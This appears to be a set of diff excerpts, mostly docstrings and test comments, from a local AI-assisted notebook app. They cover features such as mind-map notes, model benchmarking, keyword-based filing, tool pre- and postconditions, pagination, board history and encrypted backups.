-//      opens a lightbox should not have the arrow it has over a photograph in a
-//      note.
-//   3. Is the focused control visible? A card whose controls take focus with no
-//      ring is a keyboard dead end even once it is reachable.
-//   4. Within one grid row, do the cards line up, and how much empty space is
-//      under the last line of each? That is INBOX 118's complaint, and the
-//      measurement that the picture-grows-instead rule was built from.

-// INBOX 174 revised the trade-off: pictures are one height (9rem) and rows

-// The keyboard-only pass per band that Phase 8's acceptance asked for and
-// Phase 9 never ran (`archive/agent-remaining/responsive.md` section 7). Three
-// questions, each about something the responsive work introduced:
-//
-//   1. The sidebar sheet (below 820). Does focus enter it when it opens, and
-//      does it return to the toggle on Escape? Escape is wired; focus return
-//      was only ever wired for the Escape path, so this asks both halves.
-//   2. The folded arrange zone. Below 1100 `foldDockArrange` moves the sort
-//      select into the dock's own overflow menu, which is a closed
-//      `<details>`. A control inside one is not tabbable, by design, so the
-//      question is whether the *summary* is, and whether opening it reveals
-//      the select: two stops instead of one is fine, unreachable is not.
-//   3. The tab strip's roving tabindex. Only the selected tab is in the tab
-//      order and the arrows move between them; that has to survive the strip
-//      becoming icons (820 to 1100) and taking a row of its own.

+// MINDMAP_PLAN.md decision 18: a note behind a topic.
+//
+// A map of a trunk and two branches. The topic menu's "Add a note…" opens the
+// help popover's shell beside the topic with one text box in it; what is typed
+// there is the note's (Tab and Enter add no topic); Escape closes and saves,
+// and the topic wears a note mark; the mark opens the note again, anchored to
+// it; a press elsewhere saves an edit; undo takes it back; emptying it removes
+// it; a reset of the topic's look keeps it; Markdown writes it as a paragraph
+// under the topic. Contrast of the mark and the popover's words, and the
+// popover inside the window.

+// **The rest of a map's own look** (MINDMAP_PLAN.md §13e's remainder,

+// map, and a topic pulled back to the app's own default for a field the map
+// themes.
+//
+// What it asserts, measured rather than looked at:
+//
+// 1. **One palette, two drawings agree** (decision 8). The canvas's branch
+//    colour (`--wb-branch` on a first-level topic) and the Library
+//    thumbnail's colour for the same topic are the same hex, before and after
+//    a palette is picked in the dialog, and the canvas never holds a list of
+//    its own: `wbMapPalette()` is what `/tree` sent.
+// 2. **The font reaches the topic and the image export.** The computed
+//    `font-family` of a topic's text, and the `font-family` the SVG export
+//    writes for it.
+// 3. **Decision 9's narrow case.** On a map that themes the shape and the
+//    size, the strip's shape and size pickers offer the app's own default as
+//    a row of its own; choosing it draws the app's default (no `data-shape`,
+//    the unthemed size in px) while a sibling keeps drawing the map's, and the
+//    row goes away again when the map stops theming the field.

+The owner, 2026-10-03: "make sure all the popup windows and panels are the same design and style."
+
+One row per popup surface (42), measured with `scratchpad/ui-sweeps/popupinv.js` (Playwright, `getComputedStyle` and
+`getBoundingClientRect`, no screenshot read as a number), at 1440x900 and 390x844, light and dark, before and after the
+change. `scratchpad/ui-sweeps/popupall.sh before|after` writes the JSON, `popupmd.py` writes this file and `popupcmp.py`
+counts the distinct values per property inside each tier.
+
+Reading the columns: `close` is the kind, the box, then its offset from the card's right (`r`) and top (`t`) edge; `box`
+is the card's width x height as opened; `scrim` is the overlay's colour (a `<dialog>`'s `::backdrop`). Phone rows read
+inside their own geometry: a sheet is full width with square bottom corners, the agent panel docks to the edge.
+
+Openers are the real ones where cheap (`openSheet`, `confirmDialog`, `openHelpChat`, the bell, a '?' press); the rest are
+opened by taking `hidden` off the overlay or by `showModal()`, the shortcut `dialogheads.js` already takes. The head
+and the close are found by the selectors in `popupinv.js` (named per surface where the generic search is wrong).
+
+**Not tiers, by design** (named so the numbers below are read fairly): the welcome wizard (slides, no head), the confirm
+alert (a question and its answers), the Ctrl+K palette (an input and a list), the popovers and menus (anchored, no head,
+the popover shell), and the in-page columns (Ask history, the notes rail, the Web panel, the board's Library) which are
+cards in the page and keep the panel-head recipe. They are listed in the DESIGN.md row.

-// Documents is a Library sub-tab, so it is reached differently from the rest,
-// and so are the five surfaces added below it. A `sub` is a second step taken
-// after the tab click, named here and handled in the loop.
-//
-// **Why five more.** Reported: the README's shots "need to show more parts of
-// the application than what is there". The eight above are the seven tab
-// buttons plus the document editor, which leaves out the surfaces built since:
-// boards, concept maps, the page reader, the file gallery, and the command
-// palette that reaches all of them. A tour that stops at the tab bar describes
-// a smaller app than the one that ships.

+  notes, and Ideas the bridges between them. About half the links carry a
+  reason ("why these two"), the rest are plain, so the graph draws both kinds.
+- Created dates spread over the last seven weeks (written straight into the
+  database after the API made the notes: no route takes a creation date, and
+  a notebook made in one second has a one-day timeline and a one-day streak).
+- Reminders with priorities and repeats, three linked to their notes.
+- Three documents, one long enough to show the editor.
+- A board with cards, shapes holding text and labelled connectors (this
+  week's two whiteboard features), and a mind map with tasks, a note behind a
+  topic and numbered branches, icons and a look per level.
+- Saved chats, so Chat and the Library have history.
+
+Everything goes through the same routes the app uses, so the search index,
+the audit log and the link table are filled the way they are in use. Run it
+once on an empty data dir; it refuses a notebook that already has notes.

-"""Documents, reminders and boards to go with `seed-timeline-bulk.py`'s notes.
-
-The Timeline's feed is a merge of three tables with three date columns and one
-cursor per source (`api/routes_timeline.py`, `_encode_marks`). A merge is only
-exercised when every source has more rows than a page holds: with two thousand
-notes and one document, every page is notes and the document's mark is never
-advanced, which is exactly the state the per-source cursor was proved in (three
-rows, `tests/test_timeline.py`).
-
-So this writes hundreds of each, spread across the same three years the notes
-cover, which makes each page a genuine interleave and makes the second page
-depend on three marks rather than one.
-
-Straight into SQLite for the same reason the notes script gives: these rows
-exist to be read by one endpoint, and a thousand POSTs through a browser is a
-quarter of an hour of sweep time. It writes no search index and no embeddings,
-which is the honest limit of the shortcut.

+// the eraser pass them by, the frame's drag leaves them where they are, and
+// the card's lock survives a fresh read of the board. Ctrl+Z takes the last

+// unlocks them; Ctrl+Shift+L with nothing selected does the same.

+"""The model bench: which installed model is best on *this* notebook
+(WORLD_CLASS_PLAN 15, I8; 18, H3).
+
+Every local-AI app tells its owner to "try a model". This one measures each
+installed model against the owner's own notes, on their own machine, and
+shows the failures, so the recommendation can be checked rather than trusted.
+Nothing leaves the computer: the only requests are to the model server the
+person already configured.
+
+**The held-out set needs no model to build.** `build_set` samples notes the
+person filed themselves (a category other than Uncategorised), and from each
+picks one sentence with two distinctive words, words that occur in that note
+and in no other sampled note. Three tasks follow from one item:
+
+- *filing*: the note, cold, with the notebook's categories offered, through
+  the same system prompt and prompt builder the janitor uses, so the bench
+  scores the filing a model would actually do here; right when it names the
+  note's own category;
+- *citation*: three notes, numbered, the right one among two others, and a
+  question naming the two words; right when the answer cites the right
+  number. The answer is also timed and its tokens counted;
+- *tools*: one tool offered (`find_note`), and an ask to look the first word
+  up; right when the model calls that tool with that word.
+
+**Deterministic.** The sample is seeded by the notebook's own ids, so two
+runs over an unchanged notebook score the same items and differ only where
+the model itself differs (the plan's gate: within two points on a rerun).
+
+**Bounded.** A wall-clock budget and a stop event are checked between every
+task, so a slow model or an impatient person never leaves a run that cannot
+end; the report says which ended it (`stopped`: "stopped", "budget" or "").

+often it is right, so the number that is stored and shown is calibrated here

+1. Nothing a model or a word match picks reads 100%: capped at `CAP`.
+2. When the notebook's own words (`lexical_filing`, the same evidence the

+   number is lowered, down to 45% of itself when the words are unanimous the
+   other way, which is under the review line (`manager.REVIEW_CONFIDENCE`),
+   so the note is flagged and offered alternatives.
+3. A category the model picked that holds few notes is trusted less: a pick
+   with nothing to compare against is a guess, however it is phrased.
+
+The raw number is logged by the janitor's "filed by" line for diagnostics and
+not kept in a column: the calibration is applied once, where the filing is
+decided, so every surface (the chip, the review queue, the composer's line)

+"""The suggestions inbox's own recognisers (GRAPH_PLAN KG9, INBOX 528).
+
+The inbox is one sheet for four kinds of suggestion. Two already had a
+recogniser: link suggestions (`ai/relations.recognise`) and tensions
+(`ai/tensions.py`, a model pass on demand). This module is the other two,
+both pure and both cheap, so the sheet opens without a model:
+
+- **Entity merges.** Two entities that are one thing: the same name in
+  another case, a first name inside a full name ("Sam" in "Sam Lee"), or a
+  near spelling (token-sort ratio 0.9 or more). Exact and alias matches merge
+  on their own at extraction (`ai/entities._find_or_create_entity`); these
+  are the ones a person decides.
+- **Link types.** An untyped link whose own sentence, or the reason somebody
+  gave it, says what kind of link it is ("for example", "continues",
+  "evidence", "contradicts", "background"). Words only, never a model: a cue
+  is a reason a person can check, and two cues of different types are no
+  suggestion at all.
+
+Each row carries `signals` like a link suggestion, so accept and dismiss feed
+`learning.signal_weights` the same way, and a dismissed suggestion is never
+offered again.

+"""Filing by the notebook's own words, with no model at all (INBOX 434).
+
+The owner: notes must file "amazing even when the ai isn't available or
+accessible and then even better with it". Before this, with no chat model
+and no embedding model loaded, every new note went to Uncategorised: the
+log line said "the keyword fallback", and there was no keyword fallback.
+
+This is that fallback, and it is a real one. It learns from what the person
+has already done:
+
+* every filed note is a labelled example of its category (its words and its
+  tags, a tag counting as three words because it is a deliberate label);
+* a note the person filed or moved by hand counts twice, because that is the
+  strongest statement anyone made about where a note belongs;
+* a category's own name, said in the note, is evidence for it ("gym: 5x5
+  squats" belongs in Gym whatever else it says).
+
+It is nearest neighbours by shared rare words (TF-IDF cosine): the closest
+notes vote for their categories by how close they are, the classical answer
+for short text with few examples. No training step, exact to recompute, a
+thousand-note notebook in milliseconds. It abstains rather than guesses: a
+category needs two notes to be chosen, and the winner must hold most of the
+vote with two notes (or its own name) behind it, or the note stays in
+Uncategorised with nothing pretending to have decided. A wrong category is
+worse than none, because a note filed wrongly is a note the person cannot
+find. Measured on a hand-written 100-note, ten-category notebook
+(`scratchpad/filing_eval.py`, leave one out): right 80% of the times it
+files, filing 15% of notes that share little vocabulary on purpose; a real
+notebook repeats its own words more than that one does.
+
+Not used when a model answered: the chain in `janitor.categorise` is the model
+first (when there is one), then filing by meaning, then this.

+against what they wrote before: given the paragraph under the caret, at most
+three cards, each typed and each pinned to a sentence in another note:
+
+- ``repeats``: the paragraph says again what a note already says;
+- ``contradicts``: the same thing with a different number or a "not" (no
+  model needed), or what the model judges a disagreement;
+- ``answers``: the paragraph answers an open question the night shift found
+  (`DerivedFact` kind ``question``);
+- ``date``: a time phrase in the paragraph, read by the same date reader
+  that fills a note's dates, offered as a reminder;
+- ``related``: the closest note by words and meaning, when nothing sharper
+  holds.
+
+**Computed, never stored.** Nothing here writes: the cards are a reading,
+and a link or a reminder is made only when the person presses its button,
+through the routes that already make them.
+
+**Fast without a model.** The candidates come from the keyword index and,
+when the embedding backend is up, the meaning matrix with each long note's
+best paragraph (row 6's chunk vectors), so the answer is a few milliseconds
+of lookups. `judge=True` with a model up adds one short call per candidate
+(at most three), which the editor asks for as a second request after the
+fast one has drawn, so a slow model never holds the margin empty.

+"""What a Settings model card says about a model (INBOX 444).
+
+The Models screen's "Suggested downloads" was 31 rows of ``name ~size purpose``
+and 29 identical Download buttons. A person choosing hardware they already own
+needs four things the list never said: how much memory the model asks for,
+what it is good at, whether it fits *this* computer, and which one to start
+with. The catalogue (`model_manager.SUGGESTED_MODELS`) stays the hand-kept
+list of names, sizes and purposes; this module derives the rest from it, in
+one place with tests, so the page does not guess.
+
+Everything here is an estimate and says so. Memory is counted in system RAM;
+a GPU with enough video memory runs the same model faster, and this does not
+measure one. The fit verdict is "would this plausibly run", not a benchmark.
+
+Also here: `inspect_model_name`, the check behind "Download another model".
+It is pure (no network, because the app draws its settings offline): it says
+what a typed name *is* (an Ollama library model, a community model on
+ollama.com, or a Hugging Face GGUF repository that Ollama pulls through
+`hf.co/`) and refuses what Ollama could not pull, so the person is told before
+a download starts rather than by a failed one.

+"""Open questions (WORLD_CLASS_PLAN I3, H2; row 7).

+"""Relationship recognition with explanations (GRAPH_PLAN KG2, INBOX 528).
+
+The auto-linker had one signal, embedding similarity, and so one reason
+("similar in meaning"), and nothing at all with the embedding backend off.
+A notebook says how its notes relate in more ways than their wording: two
+notes that name the same rare person, two notes that both link to the same
+third note, two notes that share a tag only a handful of notes carry. Each of
+those is a **signal** here, with a sentence a person can check and a 0..1
+confidence, and a pair's confidence is their noisy-or: independent pieces of
+evidence that each might be wrong, any of which could be right.
+
+Pure on purpose: `recognise` takes plain data, so it is tested and measured
+without a database (`tests/test_relations_kg2.py`), and the route
+(`routes_entries.link_suggestions`) only gathers the rows.
+
+**Every signal's cost is bounded by a hub cap, not by the notebook.** Pairs
+come from shared things (an entity, a neighbour, a tag), so a thing shared by
+`n` notes makes `n²/2` pairs; past the cap it says little about any one pair
+("both mention Monday") and costs the most, so it is skipped. The work is the
+sum of `n²` over the things under the cap, measured at 2k and 10k notes in
+the test file.
+
+Written-close-in-time is support only: two notes typed in the same sitting
+are often unrelated, so it raises a pair something else proposed and never

+"""The user skills folder: a skill is a Markdown file (WORLD_CLASS_PLAN B8, H4).
+
+The plugin surface in its smallest honest form. A person (or another program:
+a coding agent, a sync tool, a script) drops a `.md` file into
+`<data dir>/skills/`, and the next time anything asks for the skill list it is
+there: the chat's Skills menu, Settings, Skills, the agent's `list_skills` and
+`run_skill`. No restart, no import step, no registration call. Deleting the
+file removes it the same way.
+
+**The file.** Optional front matter between `---` lines, then the prompt, then
+optionally a `## Steps` heading with a numbered or bulleted list::
+
+    ---
+    name: Weekly review
+    description: Looks over the week and lists what is unfinished
+    when: on a Friday afternoon
+    tools: search_notes, list_notes
+    inputs: topic
+    ---
+    Find this week's notes about {{topic}} and list what is still open.
+
+    ## Steps
+    1. Search for notes about {{topic}} from the last seven days.
+    2. List the ones with an unticked checkbox.
+
+Every field goes through `skills.normalise`, the same check a skill saved in
+Settings passes, so a file cannot do anything a typed skill could not: the
+same tool allowlist, the same "a skill may not start a skill" rule, the same
+limits. The name defaults to the file's name.
+
+**Read per request, parsed once per version.** The folder is listed on every
+call (a directory listing of a few files costs microseconds); a file is
+parsed again only when its modification time or size moved. That is what
+"picked up without a restart" costs, and it is the whole of it.
+
+**What a file cannot do.** Shadow a built-in or a skill saved in Settings: the
+name that was there first keeps it, and the file is reported as a problem
+rather than silently winning or silently vanishing. Be edited or deleted from
+the app: it is the person's file, in a folder they chose to write to, and the
+app writing back into it would be a second owner. Settings shows where the
+folder is and which files did not load, with the reason.
+
+Free of app imports: the check every field goes through is `skills`'s, handed
+in by `skills.folder_skills` as `check`, so this module never imports the one
+that calls it (ARCH-10's import cycle ratchet).

+"What did I think about X in March?" answered from the notebook as it stood
+then, and a note's claims then set against its claims now.
+
+**What the past is made of.** `entry_revisions`: `record_revision` saves a
+note's text *before* each change, stamped when the change was made. So the
+text a note had at an instant `T` is the content of the first revision
+stamped after `T`, or, when nothing was revised after `T`, the note as it is
+now. A note created after `T` did not exist then. Three limits, said rather
+than hidden:
+
+* a note keeps its newest `manager.MAX_REVISIONS` revisions; when all of
+  them are kept and `T` is older than the oldest, older edits may have been
+  pruned, so the version is marked `exact=False`;
+* a private note's revisions are ciphertext and a binned note is not
+  searched today either, so neither is read here;
+* edits coalesced into one revision (a burst of typing) are one step.
+
+**No model, no new table** (the spec's "Data: no new table"): the claims of
+then-and-now are the note's sentences (`grounding.split_sentences`), paired
+by shared distinctive words; a model's judgement over the pairs is the
+spec's optional second half and is not built. Retrieval as of a date takes
+its candidates from the engine (today's notes) and from revisions whose
+text matches the question, then ranks the then-texts by the same words.

+"""Per-tool pre and post conditions, checked in Python (WORLD_CLASS_PLAN B5).
+
+**Why this exists.** A tool's schema says what shape its arguments take; it
+cannot say what must be true of the notebook before the call makes sense, or
+what must be true after it for the call to count as done. Both used to live,
+when they lived anywhere, inside each handler, and some were missing:
+
+* `link_notes` skipped a target id that did not exist and reported success
+  for the rest, so "link 4 to 99" read as done with nothing linked to 99;
+* `tag_note` with neither `add` nor `remove` was a successful no-op the model
+  then reported as "tagged";
+* `edit_note {"category": "heath"}` beside an existing "Health" quietly made
+  a second category, the duplicate the 3B made on "File the dentist note
+  under Health" (AGENT_SKILLS_REFORM H4);
+* nothing re-read a row after a write, so a handler that returned a label
+  without the change holding (a stale session, a rename that merged instead)
+  was reported to the model, and so to the person, as done.
+
+**The rule.** A precondition refuses the call before the handler runs, with
+one line that names what is wrong and what to do instead, the same shape
+`check_arguments` gives a missing parameter. A postcondition re-reads the
+rows the call claimed to change and turns a claim that did not hold into an
+error, so the agent's "you said you saved it" net and the skill verifier see
+the truth rather than the label.
+
+A condition that cannot be evaluated (a stub session in a test, a locked
+database) is skipped, never failed: the contract is a second check on top of
+the handler's own, and a fault in the checker must not cost the person the
+write. Only the core note, tag, category and reminder tools carry one; the
+document, board and map tools have their own managers' checks.

+"""A time in the user's words, resolved to an instant by the app (INBOX 527).
+
+AGENT_SKILLS_REFORM, "The harness does the work the model is worst at",
+decided 2026-09-21: a tool argument is either intent, which only the model can
+supply, or a fact the app can compute. "Remind me two hours before midnight" is
+intent; `2026-09-21T22:00+10:00` is arithmetic, and the owner's transcript has
+a model getting exactly that a day wrong. So `set_reminder` takes the phrase
+and this module does the arithmetic, against the user's own clock, with no
+model and no network.
+
+What it reads, all case-insensitive and combinable ("next Friday at 3pm",
+"tomorrow evening", "two hours before midnight"):
+
+- an ISO date-time (the escape hatch a model with a real date can still use);
+  without an offset it is the user's local time, never UTC;
+- "in 20 minutes", "in half an hour", "in 3 days" (`reminder_parser`);
+- N minutes/hours before or after another time ("before midnight");
+- a day: today, tonight, tomorrow, the day after tomorrow, a weekday (this,
+  on, next), next week, an ISO date, "5 October" or "October 5";
+- a time: 9am, 9:30 pm, 21:00, "at 9", noon, midday, midnight, and the parts
+  of a day (morning 9:00, afternoon 15:00, evening 18:00, night 20:00).
+
+Rules a reader can argue with, written down so they are at least consistent:
+a bare hour 1 to 6 is afternoon, 7 to 11 morning (tonight and evening make it
+pm); a time with no day that has passed today is tomorrow; a day with no time
+is 9:00; midnight belongs to the night of the day it is said with, so
+"midnight" on its own is the coming one and "tomorrow at midnight" is the
+night of tomorrow; "next Friday" is the Friday of next week, as in
+`entry/timewords`; a weekday that is today, at a time already past, is next
+week's. Returns None for anything it does not read, never a guess.

+"""Comments out of the frontend's CSS, JS and `index.html`, at serve time only.
+
+**Why** (audit 2026-10-05, FE-01): the files in `frontend/` are written to be
+read. 64% of the CSS, about 46% of the JS and 39% of `index.html` is comment
+text, and every byte of it went to the browser on every cold load, where it
+was downloaded, decompressed and (for the JS) scanned by the parser for
+nothing. The files on disk keep every comment: the tests read them, and so do
+the people editing them. Only what `RevalidatedStatic` hands out is stripped,
+and the result is cached per file version (`api/app.py`), so this runs once
+per edit, not once per request.
+
+**Why a lexer, not a regex.** A JS line that starts with `//` can sit inside a
+multi-line template literal (`` `...\n// not a comment\n...` ``), a `/*` can
+sit inside a string or a regex literal (`/[/*]/`), and a `<!--` can sit in an
+attribute value or a `<pre>`. A regex over the text cannot tell those apart;
+a scanner that knows where strings, templates, regex literals and comments
+begin and end can. Each scanner below jumps between the few characters that
+can change its state (`re.search` for the next one), so it costs a few
+hundred milliseconds over the whole frontend rather than seconds.
+
+**What is kept.** A `/*! ... */` comment, and any comment naming `@license`
+or `@preserve`, the conventional "keep me" markers. A `//# sourceMappingURL`
+line. **Every line number**: a comment's lines are left empty rather than
+removed, so an error's `file:line` in the console or a support bundle is the
+same line in the source, and ASI (a `return` before a multi-line comment)
+reads the same.
+
+`tests/test_asset_strip.py` holds the edge cases and, where `node` is on the
+path, runs `node --check` over every stripped script; the acorn token check in
+that file proves the stripped token stream equals the original's.

+"""Cursor pagination, one contract for every list (WORLD_CLASS_PLAN B7, F2).
+
+**The contract.** Every list route that pages takes `?limit=&cursor=` and,
+when there is more after the rows it sent, answers with an `X-Next-Cursor`
+header holding the cursor for the next page. No header means the list is
+finished. The body is untouched: a header rather than a `next_cursor` field,
+because twenty of these routes answer with a bare JSON array that the app's
+own screens (and anything else already calling them) read as one, and
+wrapping it would break every one of those callers at once. `offset` still
+works exactly as it did, so nothing that pages by offset today has to change;
+a request that sends both is answered by the cursor.
+
+**Two kinds of cursor, one shape on the wire.** A cursor is opaque base64url
+text and a client never builds one, it only hands back what it was given.
+
+- A *keyset* cursor (`k`) carries the sort key of the last row sent, and the
+  next page is "the rows that sort after this one". It is what a list a
+  person scrolls needs: a note saved while page one is on screen does not
+  shift page two by a row, so no row is shown twice and none is skipped.
+  `/entries` uses it, since it is the list every surface scrolls and the one
+  that is written to while it is read.
+- An *offset* cursor (`o`) carries a position. It is used by the lists that
+  are small, ordered by something other than a column (a score, a merge of
+  sources), or read once into a dialog; for those a keyset buys nothing and
+  costs a bespoke query each. It still gives every client one way to walk
+  every list, which is the half of the contract that is about the API rather
+  than the database.
+
+A cursor of the wrong kind for its route is a 422, not a silent first page.

+"""A board's time machine (the features audit W2; WHITEBOARD_PLAN decision 33).
+
+A board's items each have an event log (`routes_whiteboard.py`'s "the event
+log for a board"): every card, drawing and object records `created`,
+`edited` and `deleted` with whole field values. A note has a History sheet
+that reads its log back; a board had nothing, so "what did this board look
+like an hour ago" had no answer short of pressing Undo until it did, and
+none at all across a reload. Three reads of that log:
+
+- `GET /whiteboard/history`: the board's changes as moments, newest first,
+  each a run of events no longer than `SESSION_SECONDS` from end to start,
+  with how many items it added, changed and took away.
+- `GET /whiteboard/history/{event_id}`: every item as it was straight after
+  that event, in the shape `GET /whiteboard/` answers, so the board draws it.
+- `POST /whiteboard/history/{event_id}/restore`: the board (or only the items
+  named) put back to that moment in one transaction: rows made, changed and
+  removed to match, each with its own event, so the restore is itself in the
+  history and the client records it as one Undo step.
+
+**Which items are the board's.** Every item whose events name this board
+(`after.board_id`, or `before.board_id` on a delete), and every row on it now.
+An item with no events at all (a duplicated board's copies, a generated or
+imported map) is taken to have been there from the start, as it was now; an
+item whose first event is not `created` was there before its log began, as
+that event's `before` says. A library placement used to record one board
+event naming no item; it records each item's `created` now
+(`routes_board_library.place_library_item`), so a placed item replays like
+any other. One placed before that is read as there from the start.
+
+**Compacted history** (`events.compact`): an event older than ninety days may
+have lost its values to a snapshot after it. A moment inside such a run
+cannot be drawn honestly, so its preview and restore answer 410 rather than
+show a board that never existed; the moment is still listed (`kept: false`).

+"""The board's object library (WHITEBOARD_PLAN decision 25; INBOX 557c, 558).
+
+The owner: "an object or elements library would be really good like with what
+draw.io has", and "the ability to save custom elements and stuff as well". A
+library item is a reusable thing for a board or a map:
+
+- `element`: a saved selection (shapes, text, stickies, frames, pictures and
+  the links between them), positioned from its box's top left corner;
+- `shape`: one drawn path kept as a shape, which scales and takes text;
+- `style` and `palette`: a look to apply, and up to sixteen colours;
+- `preset`: a sticky or text box with its look and words;
+- `branch`: a mind map branch, `{text, data, children}` all the way down;
+- `template`: a whole board or map, its settings and its content.
+
+**Built-in sets are files, not rows** (`frontend/board-library/*.json`,
+built by `scripts/build_board_library.py`): the client reads them as static
+files and this module reads the same files to place one, so an upgrade can
+improve a set without a migration. Built-ins are addressed `"<set>/<key>"`;
+their favourite and recent marks are rows of `board_library_marks`.
+
+**Placing makes independent copies** (decision 25): ordinary rows on the
+board, each remembering `library_ref {id, version}` in its data, never
+following a later edit. One placement is one transaction and one event.
+
+Nothing here fetches anything: a picture in a payload is this notebook's own
+`/media/` upload (`MEDIA_URL_RE`), and an import drops any it does not have.

+"""A mind map built from the graph's own structure (INBOX 607).
+
+The owner, 2026-10-05: "I made a mind map from the graph but the notification
+included no link to it", and "this is how it made the map, surely there's a
+better and more dynamic way it can build the map based off the connections and
+links and relevancy etc??". The graph's selection dock made one topic named
+after the map and put every selected note under it, so 33 notes were one root
+with 33 children in a single column, and the links the person had drawn, the
+whole reason the notes were on a graph, were thrown away.
+
+`POST /whiteboard/maps/from-notes` takes the notes and the links between them
+as the graph shows them, and builds the tree the links describe:
+
+- **The root** is the note the person picked, or the most connected note; with
+  no links at all it is a topic named after the map.
+- **Linked notes hang under the note they link to**: a breadth-first spanning
+  tree from the root, the better-connected neighbour first, so a hub keeps its
+  spokes and a chain stays a chain.
+- **What the links do not reach** (other clusters, loose notes) is grouped by
+  category, a branch per category, each cluster's own tree under it.
+- **No node keeps more than `MAX_FANOUT` children** when the notes say how to
+  split them: by category, then by a tag they share, then alphabetically,
+  which is the one grouping every set of titles has.
+- **Every link the tree could not hold is a cross-link**, drawn the way an
+  imported map's are, so nothing the graph showed is lost.
+
+Laid out on both sides of the root, branches given to whichever side is
+lighter by weight (the client's own tree-both rule, `wbMapTidyPositions`), so
+the map opens readable even before the client's tidy refines it on Open.

+- `POST /whiteboard/boards/{board_id}/nodes/{node_id}/suggest` writes nothing:
+  up to five child topics, each with the note it is grounded in.
+- `POST /whiteboard/boards/{board_id}/nodes/{node_id}/branches` makes the ones
+  the person ticked, under the topic, in one transaction, each with its own
+  `created` event and its source written into the topic's note, so the client
+  records the lot as one Undo step.
+- `POST /whiteboard/boards/{board_id}/nodes/{node_id}/summary` writes nothing:
+  a few sentences that say what the branch holds (the features audit, Phase
+  G, "Summarise this branch"), which the map puts into the topic's note for
+  the person to read and keep.
+
+**Grounded by construction.** The notes come from the search engine first
+(the topic's words, with its parent's for context); the model is only asked to
+name a topic for each, by number, and a line that names no listed note is
+dropped. With no model, or a reply that is prose, the notes' own titles are the
+suggestions, which is never wrong and says so (`source: "notebook"`). The
+standing caveat applies: the model is a fake transport in every test.

+"""`/api/v1`: the notebook as a versioned local service (WORLD_CLASS_PLAN H4, B7).
+
+**One contract, two spellings.** Every API route the app serves at `/x` is
+also served at `/api/v1/x`, by the same handler behind the same unlock, the
+same Host and Origin checks and the same space guard. Nothing is duplicated:
+this middleware takes the prefix off before anything else sees the request,
+so there is exactly one router, one schema (`/api/v1/openapi.json` is the
+app's own, behind the unlock) and one set of tests. The page keeps calling
+the bare paths; an outside client (a coding agent, a script, a desktop
+assistant) calls `/api/v1/...`, and the day a route has to change shape
+incompatibly, the old shape stays under `v1` and the new one goes under `v2`
+here, without the page and the outside client having to move together.
+
+What `/api/v1` does not serve is the page: a path under it that reaches the
+static mount (the frontend's files) is a 404, so the prefix means "the API"
+and nothing else. Every response under it carries `API-Version: 1`.
+
+**The agent named** (H4): a request carrying `X-MemoryMap-Agent: <name>`, on
+either spelling, has every change it makes filed under that name in the

+halves: `build_zip` makes it, `restore_zip` takes one in, and
+`encrypt_file`/`decrypt_file` wrap the same zip in a `.mmenc` container.
+
+The container reuses `core/crypto.py`'s scrypt key derivation and AES-GCM,
+in chunks, because a notebook with attachments can be gigabytes and the
+single-shot form would hold all of it, twice, in memory:
+
+  MAGIC | salt (16) | nonce prefix (8) | chunk 0 | chunk 1 | ...
+
+Each chunk is AES-GCM of up to `CHUNK_BYTES` of the zip under a nonce of the
+prefix and the chunk's counter, with one byte of associated data saying
+whether it is the last. That byte is what makes a file cut at a chunk
+boundary fail instead of reading as a shorter valid one; every other kind
+of damage fails the chunk's own tag. A wrong password fails the first chunk
+the same way, and the message says "password", which is the likelier cause.

+"""When each kind of job last ran, and how it went (INBOX 438).
+
+The owner: "there should be timestamps and success status for when various
+things were last ran like the search reindexing etc." Before this, three
+partial answers existed and none of them was that:
+
+- `core/taskhistory.py` remembers what *stopped* since the app started, in
+  memory, as a ring. It forgets on restart, which is the right lifetime for a
+  "what happened while I was here" list and the wrong one for "when did my
+  notes last get backed up". Nobody checks that on the day it happened.
+- `backup.list_backups` has file times, which says a backup exists but not
+  that last night's failed.
+- `reindex_status` is the live job, gone on restart, and `None` before the
+  first run.
+
+So this keeps **one row per job kind**, in the database (`JobRun`), written
+from one place. Every job reports through `job_run`:
+
+    with job_run("reindex") as run:
+        ...
+        run.result = "indexed 412 notes"
+
+An exception leaving the block marks the run failed with the exception's
+message and then propagates it: bookkeeping never swallows a job's error.
+`run.cancel("stopped after 3 of 9")` records a stop that is not a failure.
+
+**Bookkeeping must never break the job.** Every write here is wrapped: a
+locked database or a missing table costs the line "Last run" and nothing
+else. That is also why it reads `deps.peek_db()` and never `get_db()`: a
+helper run without an app (a test, a script) records nothing rather than
+creating a data directory to hold its note.
+
+**Overlapping runs of one kind** (two imports at once): an older run
+finishing while a newer one is still going leaves the row saying "running",
+because that is true; once nothing is running, the last to finish is the last
+run.

+"""The durable half of the job runtime (WORLD_CLASS_PLAN B2).
+
+`core/jobs.py` is the bounded pool: lanes, widths, dedupe, the panel's rows.
+It forgot everything when the process ended, which its docstring defended
+("every job re-derives its result from a row that is already committed, so
+the next launch can redo it"). Nothing did redo it: a folder of 200 pictures
+dropped on the app, then a quit, left 150 of them without their text until
+each was saved again by hand. This module is what makes the next launch
+redo it.
+
+**The shape.** A `jobs` row per queued piece of work (`DurableJob`):
+
+- `record` writes the row when the pool queues a job whose kind has a
+  handler here and whose arguments are plain data. The pool still runs the
+  function object it was handed; the row is only the memory of it.
+- `lease` is the worker's claim, one atomic UPDATE from `queued` to
+  `running` carrying this process's `owner` token and a `lease_until`. A
+  heartbeat thread renews every lease this process holds while it holds
+  any, and stops when it holds none, so an idle app runs no extra thread.
+- `finish` records the ending: `done`, `failed` with its reason.
+- `resume`, at launch, queues again every `queued` row and every `running`
+  row whose lease has lapsed (its process is gone). A lease still valid and
+  owned elsewhere is a live second server on the same file (a direct
+  uvicorn start skips `core/instance_lock.py`): it is left alone and looked
+  at again when the lease would have run out, which is what a lease is for.
+
+**Handlers are named, never pickled.** `HANDLERS` maps a kind to
+"module:function". A row holds the kind and JSON arguments, so a notebook
+cannot be made to run code by editing its database, and a function that was
+renamed fails one job with a sentence rather than the launch. A job queued
+with any other function (a test's stand-in, a lambda) runs exactly as
+before and is simply not remembered: `durable_kind` compares the function's
+own dotted name with the table's.
+
+**A poison job stops.** A row is tried at most `MAX_ATTEMPTS` times. A job
+that takes the process down with it (a native crash in Tesseract) would
+otherwise crash every launch after it, which is the one way durability can
+make an app worse than forgetting.
+
+**Cancel** stops a queued job (the row goes to `cancelled` and the worker's
+lease then fails). A running job is not interrupted, for the reason
+`core/bgtasks.py` gives: Python cannot stop a thread safely, and the work
+writes to a notebook someone cares about. The answer says so.
+
